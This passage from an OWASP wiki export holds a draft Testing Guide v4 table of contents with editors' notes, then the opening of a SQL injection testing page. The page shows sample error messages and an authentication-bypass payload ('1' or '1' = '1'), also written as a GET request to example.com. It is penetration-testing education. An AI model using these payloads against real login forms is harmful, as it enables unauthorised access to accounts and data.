[[Testing for configuration management|'''4.3 Configuration and Deploy Management Testing ''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for infrastructure configuration management (OWASP-CM-003)|4.3.1 Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for application configuration management (OWASP-CM-004)|4.3.2 Testing for Application Configuration Management weakness (OWASP-CM-002)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for file extensions handling  (OWASP-CM-005)|4.3.3 Testing for File Extensions Handling  (OWASP-CM-003)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Old, Backup and Unreferenced Files (OWASP-CM-006)|4.3.4 Old, Backup and Unreferenced Files (OWASP-CM-004) ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Admin Interfaces  (OWASP-CM-007)|4.3.5 Infrastructure and Application Admin Interfaces  (OWASP-CM-005)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Methods and XST  (OWASP-CM-008)|4.3.6 Testing for Bad HTTP Methods (OWASP-CM-006)]][new - Abian Blome]&lt;br /&gt;
&lt;br /&gt;
&amp;gt; Informative Error Messages [MAT NOTE: in info gathering]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Database credentials/connection strings available|4.3.7 Testing for Database credentials/connection strings available (OWASP-CM-007)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Content Security Policy weakness|4.3.8 Testing for Content Security Policy weakness (OWASP-CM-008)]][New! - Simone Onofri]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Missing HSTS header|4.3.9 Testing for Missing HSTS header (OWASP-CM-009)]][New! Juan Manuel Bahamonde ]&lt;br /&gt;
&lt;br /&gt;
[[Testing for RIA policy files weakness|4.3.10 Testing for RIA policy files weakness (OWASP-CM-010)]] [New!]&lt;br /&gt;
&lt;br /&gt;
&amp;gt; Incorrect time[New! MAT NOTE: explain the test in detail please]&lt;br /&gt;
&lt;br /&gt;
&amp;gt; Unpatched components and libraries (e.g. JavaScript libraries)[New! NOTE: tu discuss it][Note: this can be covered inside OWASP-CM-001/OWASP-CM-002]&lt;br /&gt;
&lt;br /&gt;
&amp;gt; Test data in production systems (and vice versa)[New! MAT NOTE: this is not a particular test that could find a vulnerability]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for authentication|'''4.4 Authentication Testing ''']] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)|4.4.1 Testing for Credentials Transported over an Encrypted Channel  (OWASP-AT-001)]] [Robert Winkel]&lt;br /&gt;
&lt;br /&gt;
[[Testing for User Enumeration and Guessable User Account (OWASP-AT-002)|4.4.2 Testing for User Enumeration and Guessable User Account  (OWASP-AT-002)]] [Robert Winkel]&lt;br /&gt;
&lt;br /&gt;
[[Testing for default credentials (OWASP-AT-003)|4.4.3 Testing for default credentials (OWASP-AT-003)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak lock out mechanism (OWASP-AT-004)|4.4.4 Testing for Weak lock out mechanism (OWASP-AT-004)]] [New! - Robert Winkel] &lt;br /&gt;
&lt;br /&gt;
&amp;gt; Account lockout DoS [New! - Robert Winkel - we can put it in the 4.4.4]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Bypassing Authentication Schema (OWASP-AT-005)|4.4.5 Testing for bypassing authentication schema (OWASP-AT-005)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Vulnerable Remember Password (OWASP-AT-006)|4.4.6 Testing for vulnerable remember &lt;br /&gt;
password functionality (OWASP-AT-006)]] [Robert Winkel]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Browser cache weakness (OWASP-AT-007)|4.4.7 Testing for Browser cache weakness (OWASP-AT-007)]] [New! - Abian Blome]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak password policy (OWASP-AT-008)|4.4.8 Testing for Weak password policy (OWASP-AT-008)]] [New! - Robert Winkel]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak or unenforced username policy (OWASP-AT-009)|4.4.9 Testing for Weak or unenforced username policy (OWASP-AT-009)]] [New! - Robert Winkel]&lt;br /&gt;
&lt;br /&gt;
&amp;gt; Weak security question/answer [New! - Robert Winkel - MAT Note: same as AT-006]&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Testing for failure to restrict access to authenticated resource(OWASP-AT-010)|4.4.10 Testing for failure to restrict access to authenticated resource (OWASP-AT-010)]] [New! - This seems better suited to the Authorization test cases (Andrew Muller)]&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Testing for weak password change or reset functionalities (OWASP-AT-011)|4.4.11 Testing for weak password change or reset functionalities (OWASP-AT-011)]] [New! - Robert Winkel]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Captcha (OWASP-AT-012)|4.4.12 Testing for CAPTCHA (OWASP-AT-012)]] [Note: Andrew Muller - CAPTCHA's objective is not authentication but to test humanness. This could be moved to Business Logic or the now deleted Denial of Service section]&lt;br /&gt;
&lt;br /&gt;
&amp;gt; Weaker authentication in alternative channel (e.g. mobile app, IVR, help desk) [New!: MAT Note: to explain better the kind of test to perform please]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session Management|'''4.5 Session Management Testing''']] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Session_Management_Schema (OWASP-SM-001)|4.5.1 Testing for Bypassing Session Management Schema (OWASP-SM-001)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for cookies attributes  (OWASP-SM-002)|4.5.2 Testing for Cookies attributes (Cookies are set not ‘HTTP Only’, ‘Secure’,  and no time validity) (OWASP-SM-002)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session Fixation  (OWASP-SM-003)|4.5.3 Testing for Session Fixation  (OWASP-SM-003)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Exposed Session Variables  (OWASP-SM-004)|4.5.4 Testing for Exposed Session Variables   (OWASP-SM-004)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for CSRF  (OWASP-SM-005)|4.5.5 Testing for Cross Site Request Forgery (CSRF)  (OWASP-SM-005)]]&lt;br /&gt;
&lt;br /&gt;
&amp;gt; Weak Session Token (MAT NOTE included in 4.5.1)&lt;br /&gt;
 &lt;br /&gt;
[[Testing for Session token not restricted properly (OWASP-SM-006)|4.5.6 Testing for Session token not restricted properly (such as domain or path not set properly) (OWASP-SM-006)]] [New! - Abian Blome]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;gt; Session passed over http (NOTE: included in SM-004) [New!] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Testing for logout functionality (OWASP-SM-007)|4.5.7 Testing for logout functionality (OWASP-SM-007)]]&lt;br /&gt;
&lt;br /&gt;
&amp;gt;Session token not removed on server after logout [New!: NOTE included in the above test]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;gt; Logout function not properly implemented (NOTE:same above)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;gt; Persistent session token [New! NOTE: this is not a vulnerability if session time out is correctly performed]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session puzzling (OWASP-SM-008)|4.5.8 Testing for Session puzzling (OWASP-SM-008)]] [New! - Abian Blome]&lt;br /&gt;
&lt;br /&gt;
&amp;gt; Missing user-viewable log of authentication events [NOTE: needs more details: which test perform?]&lt;br /&gt;
&lt;br /&gt;
&amp;gt; Establishment of multiple sessions with same credentials [New! - Andrew Muller]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for Authorization|'''4.6 Authorization Testing''']] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Path Traversal  (OWASP-AZ-001)|4.6.1 Testing Directory traversal/file include (OWASP-AZ-001) [Juan Galiana] ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Bypassing Authorization Schema  (OWASP-AZ-002)|4.6.2 Testing for bypassing authorization schema  (OWASP-AZ-002)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Privilege escalation  (OWASP-AZ-003)|4.6.3 Testing for Privilege Escalation  (OWASP-AZ-003) [Irene Abezgauz]]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Insecure Direct Object References (OWASP-AZ-004)|4.6.4 Testing for Insecure Direct Object References (OWASP-AZ-004) [Irene Abezgauz] ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Failure to Restrict access to authorized resource (OWASP-AZ-005)|4.6.5 Testing for Failure to Restrict access to authorized resource (OWASP-AZ-005) [New!] ]]&lt;br /&gt;
&lt;br /&gt;
&amp;gt; Server component has excessive privileges (e.g. indexing service, reporting interface, file generator)[New!]&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Lack of enforcement of application entry points (including exposure of objects)[New!]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for business logic   (OWASP-BL-001)|'''4.7 Business Logic Testing  (OWASP-BL-001)''']] [To review--&amp;gt; contributor here]&lt;br /&gt;
Business Logic&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Business logic data validation[New!] NOTE MAT: to discuss this section&amp;lt;br&amp;gt;&lt;br /&gt;
Ability to forge requests[New!]&amp;lt;br&amp;gt;&lt;br /&gt;
Lack of integrity checks (e.g. overwriting updates) [New!]&amp;lt;br&amp;gt;&lt;br /&gt;
Lack of tamper evidence[New!]&amp;lt;br&amp;gt;&lt;br /&gt;
Use of untrusted time source[New!]&amp;lt;br&amp;gt;&lt;br /&gt;
Lack of limits to excessive rate (speed) of use[New!]&amp;lt;br&amp;gt;&lt;br /&gt;
Lack of limits to size of request[New!]&amp;lt;br&amp;gt;&lt;br /&gt;
Lack of limit to number of times a function can be used[New!]&amp;lt;br&amp;gt;&lt;br /&gt;
Bypass of correct sequence[New!]&amp;lt;br&amp;gt;&lt;br /&gt;
Missing user-viewable log of activity[New!]&amp;lt;br&amp;gt;&lt;br /&gt;
Self-hosted payment cardholder data processing[New!]&amp;lt;br&amp;gt;&lt;br /&gt;
Lack of security incident reporting information[New!]&amp;lt;br&amp;gt;&lt;br /&gt;
Defenses against application mis-use[New!]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for Data Validation|'''4.8 Data Validation Testing''']] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Reflected Cross site scripting (OWASP-DV-001) |4.8.1 Testing for Reflected Cross Site Scripting (OWASP-DV-001) ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Stored Cross site scripting (OWASP-DV-002) |4.8.2 Testing for Stored Cross Site Scripting (OWASP-DV-002) ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Verb Tampering (OWASP-DV-003)|4.8.3 Testing for HTTP Verb Tampering   [Brad Causey] ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Parameter pollution (OWASP-DV-004)|4.8.4 Testing for HTTP Parameter pollution [Luca Carettoni, Stefano Di Paola, Brad Causey] ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Unvalidated Redirects and Forwards (OWASP-DV-004)|4.8.5 Testing for Unvalidated Redirects and Forwards [Brad Causey] ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for SQL Injection (OWASP-DV-005)| 4.8.5 Testing for SQL Injection (OWASP-DV-005) [Ismael Gonçalves](Ismael NOTE: ready to be reviewed)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Oracle|4.8.5.1 Oracle Testing]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for MySQL|4.8.5.2 MySQL Testing [Ismael Gonçalves]]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for SQL Server|4.8.5.3 SQL Server Testing]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for MS Access |4.8.5.4 MS Access Testing]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for NoSQL injection|4.8.5.5 Testing for NoSQL injection [New!]]]&lt;br /&gt;
&lt;br /&gt;
[[OWASP_Backend_Security_Project_Testing_PostgreSQL|4.8.5.5 Testing PostgreSQL (from OWASP BSP) ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for LDAP Injection  (OWASP-DV-006)|4.8.6 Testing for LDAP Injection  (OWASP-DV-006)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for ORM Injection   (OWASP-DV-007)|4.8.7 Testing for ORM Injection   (OWASP-DV-007)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for XML Injection (OWASP-DV-008)|4.8.8 Testing for XML Injection (OWASP-DV-008)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for SSI Injection  (OWASP-DV-009)|4.8.9 Testing for SSI Injection  (OWASP-DV-009)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for XPath Injection  (OWASP-DV-010)|4.8.10 Testing for XPath Injection  (OWASP-DV-010)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for IMAP/SMTP Injection  (OWASP-DV-011)|4.8.11 IMAP/SMTP Injection  (OWASP-DV-011)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Code Injection  (OWASP-DV-012)|4.8.12 Testing for Code Injection  (OWASP-DV-012)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Command Injection   (OWASP-DV-013)|4.8.13 Testing for Command Injection   (OWASP-DV-013) [Juan Galiana]]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Buffer Overflow (OWASP-DV-014)|4.8.14 Testing for Buffer overflow (OWASP-DV-014)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Heap Overflow|4.8.14.1 Testing for Heap overflow]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Stack Overflow|4.8.14.2 Testing for Stack overflow]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Format String|4.8.14.3 Testing for Format string]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Incubated Vulnerability (OWASP-DV-015)|4.8.15 Testing for incubated vulnerabilities (OWASP-DV-015)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Splitting/Smuggling  (OWASP-DV-016)|4.8.16 Testing for HTTP Splitting/Smuggling  (OWASP-DV-016) [Juan Galiana] ]]&lt;br /&gt;
&lt;br /&gt;
&amp;gt; Regular expression DoS[New!] note: to understand better&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;gt; XML DoS [New! - Andrew Muller]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Data Encryption (New!)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Insecure encryption usage (OWASP-EN-001)| 4.9.1  Testing for Insecure encryption usage (OWASP-EN-001]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OWASP-EN-002)| 4.9.2 Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OWASP-EN-002)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Padding Oracle (OWASP-EN-003)| 4.9.3 Testing for Padding Oracle (OWASP-EN-003) [Giorgio Fedon]]]&lt;br /&gt;
&lt;br /&gt;
&amp;gt; [[Testing for Cacheable HTTPS Response | x.x.3 Testing for Cacheable HTTPS Response&amp;lt;br&amp;gt;&lt;br /&gt;
Cache directives insecure&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Testing for Insecure Cryptographic Storage [put in x.x.1]&amp;lt;br&amp;gt;&lt;br /&gt;
[[Testing for Sensitive information sent via unencrypted channels | x.x.4&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Web Service (XML Interpreter)|'''4.10 Web Service Testing''']] [Tom Eston] &lt;br /&gt;
&lt;br /&gt;
[[Scoping a Web Service Test (OWASP-WS-001)|4.10.1 Scoping a Web Service Test (OWASP-WS-001)]]&lt;br /&gt;
&lt;br /&gt;
[[WS Information Gathering (OWASP-WS-002)|4.10.2 WS Information Gathering (OWASP-WS-002)]]&lt;br /&gt;
&lt;br /&gt;
[[WS Authentication Testing (OWASP-WS-003)|4.10.3 WS Authentication Testing (OWASP-WS-003)]]&lt;br /&gt;
&lt;br /&gt;
[[WS Management Interface Testing (OWASP-WS-004)|4.10.4 WS Management Interface Testing (OWASP-WS-004)]]&lt;br /&gt;
&lt;br /&gt;
[[Weak XML Structure Testing (OWASP-WS-005)|4.10.5 Weak XML Structure Testing (OWASP-WS-005)]]&lt;br /&gt;
&lt;br /&gt;
[[XML Content-Level Testing (OWASP-WS-006)|4.10.6 XML Content-Level Testing (OWASP-WS-006)]]&lt;br /&gt;
&lt;br /&gt;
[[WS HTTP GET Parameters/REST Testing (OWASP-WS-007)|4.10.7 WS HTTP GET Parameters/REST Testing (OWASP-WS-007)]]&lt;br /&gt;
&lt;br /&gt;
[[WS Naughty SOAP Attachment Testing (OWASP-WS-008)|4.10.8 WS Naughty SOAP Attachment Testing (OWASP-WS-008)]]&lt;br /&gt;
&lt;br /&gt;
[[WS Replay/MiTM Testing (OWASP-WS-009)|4.10.9 WS Replay/MiTM Testing (OWASP-WS-009)]]&lt;br /&gt;
&lt;br /&gt;
[[WS BEPL Testing (OWASP-WS-010)|4.10.10 WS BEPL Testing (OWASP-WS-010)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Client Side Testing|'''4.11 Client Side Testing''']] [New!] &lt;br /&gt;
&lt;br /&gt;
[[Testing for DOM-based Cross site scripting  (OWASP-DV-003)|4.11.1 Testing for DOM based Cross Site Scripting  (OWASP-CS-001) [Stefano Di Paola] ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTML5 (OWASP CS-002)|4.11.2 Testing for HTML5 (OWASP CS-002) [Juan Galiana] ]]&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Cross site flashing (OWASP-DV-004)|4.11.3 Testing for Cross Site Flashing   (OWASP-CS-003)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Testing for ClickHijacking (OWASP-CS-004)|4.11.4 Testing for Testing for ClickHijacking (OWASP-CS-004) ]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==[[Writing Reports: value the real risk |5. Writing Reports: value the real risk ]]==&lt;br /&gt;
&lt;br /&gt;
[[How to value the real risk |5.1 How to value the real risk]] [To review--&amp;gt; Amro AlOlaqi]&lt;br /&gt;
&lt;br /&gt;
[[How to write the report of the testing |5.2 How to write the report of the testing]] [To review--&amp;gt; Amro AlOlaqi]&lt;br /&gt;
&lt;br /&gt;
==[[Appendix A: Testing Tools |Appendix A: Testing Tools ]]==&lt;br /&gt;
&lt;br /&gt;
* Black Box Testing Tools [To review--&amp;gt; Amro. We need only tools for webapp testing]&lt;br /&gt;
&lt;br /&gt;
==[[OWASP Testing Guide Appendix B: Suggested Reading | Appendix B: Suggested Reading]]==&lt;br /&gt;
* Whitepapers [To review--&amp;gt; David Fern]&lt;br /&gt;
* Books [To review--&amp;gt; David Fern]&lt;br /&gt;
* Useful Websites [To review--&amp;gt; David Fern]&lt;br /&gt;
&lt;br /&gt;
==[[OWASP Testing Guide Appendix C: Fuzz Vectors | Appendix C: Fuzz Vectors]]==&lt;br /&gt;
&lt;br /&gt;
* Fuzz Categories [To review--&amp;gt; contributor here]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==[[OWASP Testing Guide Appendix D: Encoded Injection | Appendix D: Encoded Injection]]==&lt;br /&gt;
&lt;br /&gt;
[To review--&amp;gt; contributor here]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Testing Project]]&lt;/div&gt;</summary>
		<author><name>Ismael Rocha</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=140058</id>
		<title>Testing for SQL Injection (OTG-INPVAL-005)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=140058"/>
				<updated>2012-11-22T11:11:03Z</updated>
		
		<summary type="html">&lt;p&gt;Ismael Rocha: Format issues&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
                &lt;br /&gt;
==Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
An [[SQL injection]] attack consists of insertion or&lt;br /&gt;
&amp;amp;quot;injection&amp;amp;quot; of a SQL query via the input data from the client to the&lt;br /&gt;
application. A successful SQL injection exploit can read sensitive data from&lt;br /&gt;
the database, modify database data (insert/update/delete), execute&lt;br /&gt;
administration operations on the database (such as shutdown the DBMS), recover&lt;br /&gt;
the content of a given file existing on the DBMS file system or write files into&lt;br /&gt;
the file system, and, in some cases, issue commands to the operating system.&lt;br /&gt;
SQL injection attacks are a type of [[injection attack]], in which SQL commands are injected into data-plane input in order to&lt;br /&gt;
affect the execution of predefined SQL commands.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==Description of the Issue ==&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In general the way web&lt;br /&gt;
applications construct SQL statements involving SQL syntax wrote by the&lt;br /&gt;
programmers mixed with user-supplied data. Example:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;select title, text from news where id=$id&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
The red part is the SQL static&lt;br /&gt;
part supplied by the programmer and the variable $id contains user-supplied&lt;br /&gt;
data, making the SQL statement dynamic.&lt;br /&gt;
 &lt;br /&gt;
Because the way it was&lt;br /&gt;
constructed, the user can supply crafted input trying to make the original SQL&lt;br /&gt;
statement execute commands at user’s behavior. The example illustrates the&lt;br /&gt;
user-supplied data “10 or 1=1”, changing the logic of the SQL statement,&lt;br /&gt;
modifying the WHERE clause adding a condition “or 1=1”.&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;select title, text from news where id=10 or 1=1&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
SQL Injection attacks can&lt;br /&gt;
be divided into the following three classes:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
* Inband: data is extracted using the same      channel that is used to inject the SQL code. This is the most      straightforward kind of attack, in which the retrieved data is presented      directly in the application web page.&lt;br /&gt;
* Out-of-band: data is retrieved using a      different channel (e.g., an email with the results of the query is      generated and sent to the tester).&lt;br /&gt;
* Inferential: there is no actual transfer      of data, but the tester is able to reconstruct the information by sending      particular requests and observing the resulting behavior of the DB Server.&lt;br /&gt;
 &lt;br /&gt;
Independent of the attack&lt;br /&gt;
class, a successful SQL Injection attack requires the attacker to craft a&lt;br /&gt;
syntactically correct SQL Query. If the application returns an error message&lt;br /&gt;
generated by an incorrect query, then it is easy to reconstruct the logic of&lt;br /&gt;
the original query and, therefore, understand how to perform the injection&lt;br /&gt;
correctly. However, if the application hides the error details, then the tester&lt;br /&gt;
must be able to reverse engineer the logic of the original query. The latter&lt;br /&gt;
case is known as &amp;amp;quot;[[Blind SQL Injection]]&amp;amp;quot;.&lt;br /&gt;
 &lt;br /&gt;
About the techniques to&lt;br /&gt;
exploit SQL injection flaws there are five commons techniques. Also those&lt;br /&gt;
techniques sometimes can be used in a combined way (e.g. union operator and&lt;br /&gt;
out-of-band):&lt;br /&gt;
 &lt;br /&gt;
* Union Operator: usually can be used when      the SQL injection flaw happens in a SELECT statement, making possible to      combine two queries into a single result.&lt;br /&gt;
* Boolean: use Boolean condition to verify      if certain conditions are true or false.&lt;br /&gt;
* Error based: this technique forces the      database to generate an error making&lt;br /&gt;
* Out-of-band: technique used to retrieve data      using a different channel (e.g., make a HTTP connection to send the      results to a web server).&lt;br /&gt;
* Time delay: use database commands (e.g.      sleep) to delay answers in conditional queries. It useful when attacker doesn’t      have some kind of answer from the application.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==SQL Injection Detection ==&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The first step in this test is to understand when the&lt;br /&gt;
application connects to a DB Server in order to access some data. Typical&lt;br /&gt;
examples of cases when an application needs to talk to a DB include:&lt;br /&gt;
&lt;br /&gt;
* Authentication forms: when authentication is      performed using a web form, chances are that the user credentials are      checked against a database that contains all usernames and passwords (or,      better, password hashes)&lt;br /&gt;
* Search engines: the string submitted by the user      could be used in a SQL query that extracts all relevant records from a      database&lt;br /&gt;
* E-Commerce sites: the products and their      characteristics (price, description, availability etc) are very likely to      be stored in a relational database.&lt;br /&gt;
 &lt;br /&gt;
The tester has to make a list of all input fields&lt;br /&gt;
whose values could be used in crafting a SQL query, including the hidden fields&lt;br /&gt;
of POST requests and then test them separately, trying to interfere with the&lt;br /&gt;
query and to generate an error. Consider also HTTP headers and Cookies. The&lt;br /&gt;
very first test usually consists of adding a single quote (') or a semicolon&lt;br /&gt;
(;) to the field under test. The first is used in SQL as a string terminator&lt;br /&gt;
and, if not filtered by the application, would lead to an incorrect query. The&lt;br /&gt;
second is used to end a SQL statement and, if it is not filtered, it is also&lt;br /&gt;
likely to generate an error. The output of a vulnerable field might resemble&lt;br /&gt;
the following (on a Microsoft SQL Server, in this case):&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;Microsoft OLE DB Provider for ODBC Drivers error '80040e14'&lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the &lt;br /&gt;
character string ''.&lt;br /&gt;
/target/target.asp, line 113&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
Also comments (--) and other SQL keywords like 'AND'&lt;br /&gt;
and 'OR' can be used to try to modify the query. A very simple but sometimes&lt;br /&gt;
still effective technique is simply to insert a string where a number is&lt;br /&gt;
expected, as an error like the following might be generated:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt; Microsoft OLE DB Provider for ODBC Drivers error '80040e07'&lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the&lt;br /&gt;
varchar value 'test' to a column of data type int.&lt;br /&gt;
/target/target.asp, line 113&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
Monitor all the responses from the web server and have&lt;br /&gt;
a look at the HTML/javascript source code. Sometimes&lt;br /&gt;
the error is present inside them but for some reason (e.g. javascript&lt;br /&gt;
error) is not presented to the user. A full error message, like those in the&lt;br /&gt;
examples, provides a wealth of information to the tester in order to mount a&lt;br /&gt;
successful injection. However, applications often do not provide so much&lt;br /&gt;
detail: a simple '500 Server Error' or a custom error page might be issued,&lt;br /&gt;
meaning that we need to use blind injection techniques. In any case, it is very&lt;br /&gt;
important to test each field separately: only one variable must vary while all&lt;br /&gt;
the other remain constant, in order to precisely understand which parameters&lt;br /&gt;
are vulnerable and which are not.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
=== Standard SQL Injection Testing ===&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Example 1 (classical SQL Injection):&lt;br /&gt;
&lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE Username='$username' AND Password='$password'&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
A similar query is generally used from the web&lt;br /&gt;
application in order to authenticate a user. If the query returns a value it&lt;br /&gt;
means that inside the database a user with that&lt;br /&gt;
credentials exists, then the user is allowed to login to the system, otherwise&lt;br /&gt;
the access is denied. The values of the input fields are generally obtained&lt;br /&gt;
from the user through a web form. Suppose we insert the following Username and&lt;br /&gt;
Password values:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$username = 1' or '1' = '1&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$password = 1' or '1' = '1&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
The query will be:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
If we suppose that the values of the parameters are&lt;br /&gt;
sent to the server through the GET method, and if the domain of the vulnerable&lt;br /&gt;
web site is www.example.com, the request that we'll carry out will be:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&amp;amp;amp;password=1'%20or%20'1'%20=%20'1 &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
After a short analysis we notice that the query&lt;br /&gt;
returns a value (or a set of values) because the condition is always true (OR&lt;br /&gt;
1=1). In this way the system has authenticated the user without knowing the&lt;br /&gt;
username and password.&amp;lt;br&amp;gt; ''In some systems the first row of a user table would be an administrator&lt;br /&gt;
user. This may be the profile returned in some cases.'' Another example of&lt;br /&gt;
query is the following:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
In this case, there are two problems, one due to the&lt;br /&gt;
use of the parentheses and one due to the use of MD5 hash function. First of&lt;br /&gt;
